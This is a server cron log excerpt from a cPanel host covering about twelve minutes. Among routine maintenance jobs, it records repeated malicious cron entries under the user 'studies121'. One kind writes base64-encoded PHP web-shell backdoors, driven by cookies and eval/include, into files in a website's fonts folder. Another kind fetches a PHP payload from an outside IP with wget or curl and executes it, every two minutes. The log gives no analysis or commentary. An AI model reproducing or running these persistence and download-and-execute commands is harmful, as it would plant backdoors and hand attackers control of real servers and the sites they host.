Aug 31 22:45:01 ip-184-168-122-23 CROND[7256]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 22:45:01 ip-184-168-122-23 CROND[7258]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 22:46:01 ip-184-168-122-23 CROND[7343]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 22:46:01 ip-184-168-122-23 CROND[7345]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 22:46:01 ip-184-168-122-23 CROND[7346]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 22:46:01 ip-184-168-122-23 CROND[7349]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 22:46:01 ip-184-168-122-23 CROND[7347]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 22:46:01 ip-184-168-122-23 CROND[7348]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 31 22:46:01 ip-184-168-122-23 CROND[7350]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Aug 31 22:47:01 ip-184-168-122-23 CROND[7438]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 22:47:01 ip-184-168-122-23 CROND[7441]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 22:47:01 ip-184-168-122-23 CROND[7440]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 22:47:01 ip-184-168-122-23 CROND[7442]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 22:48:01 ip-184-168-122-23 CROND[7514]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 22:48:01 ip-184-168-122-23 CROND[7515]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 22:48:01 ip-184-168-122-23 CROND[7519]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 22:48:01 ip-184-168-122-23 CROND[7518]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 22:48:01 ip-184-168-122-23 CROND[7520]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 22:49:01 ip-184-168-122-23 CROND[7695]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Aug 31 22:49:01 ip-184-168-122-23 CROND[7696]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 22:49:01 ip-184-168-122-23 CROND[7697]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 22:49:01 ip-184-168-122-23 CROND[7700]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 22:49:01 ip-184-168-122-23 CROND[7698]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 22:50:01 ip-184-168-122-23 CROND[7811]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 22:50:01 ip-184-168-122-23 CROND[7812]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 22:50:01 ip-184-168-122-23 CROND[7815]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 22:50:02 ip-184-168-122-23 CROND[7818]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 31 22:50:02 ip-184-168-122-23 CROND[7821]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 22:50:02 ip-184-168-122-23 CROND[7820]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 22:50:02 ip-184-168-122-23 CROND[7817]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 22:50:02 ip-184-168-122-23 CROND[7825]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 22:50:02 ip-184-168-122-23 CROND[7826]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 22:51:01 ip-184-168-122-23 CROND[7915]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 22:51:01 ip-184-168-122-23 CROND[7918]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 22:51:01 ip-184-168-122-23 CROND[7919]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 22:51:01 ip-184-168-122-23 CROND[7917]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 22:52:01 ip-184-168-122-23 CROND[8012]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 22:52:01 ip-184-168-122-23 CROND[8013]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 22:52:01 ip-184-168-122-23 CROND[8017]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 22:52:01 ip-184-168-122-23 CROND[8018]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 22:52:01 ip-184-168-122-23 CROND[8019]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 22:53:01 ip-184-168-122-23 CROND[8106]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 22:53:01 ip-184-168-122-23 CROND[8108]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 22:53:01 ip-184-168-122-23 CROND[8109]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 22:53:01 ip-184-168-122-23 CROND[8110]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 22:54:01 ip-184-168-122-23 CROND[8296]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 22:54:01 ip-184-168-122-23 CROND[8298]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 22:54:01 ip-184-168-122-23 CROND[8299]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 22:54:01 ip-184-168-122-23 CROND[8300]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 22:54:01 ip-184-168-122-23 CROND[8301]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 22:55:02 ip-184-168-122-23 CROND[8392]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 22:55:02 ip-184-168-122-23 CROND[8393]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 22:55:02 ip-184-168-122-23 CROND[8398]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 22:55:02 ip-184-168-122-23 CROND[8399]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 22:55:02 ip-184-168-122-23 CROND[8396]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 22:55:02 ip-184-168-122-23 CROND[8397]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 22:56:01 ip-184-168-122-23 CROND[8493]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 22:56:01 ip-184-168-122-23 CROND[8495]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 22:56:01 ip-184-168-122-23 CROND[8498]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 22:56:01 ip-184-168-122-23 CROND[8496]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 22:56:01 ip-184-168-122-23 CROND[8497]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 22:57:01 ip-184-168-122-23 CROND[8576]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
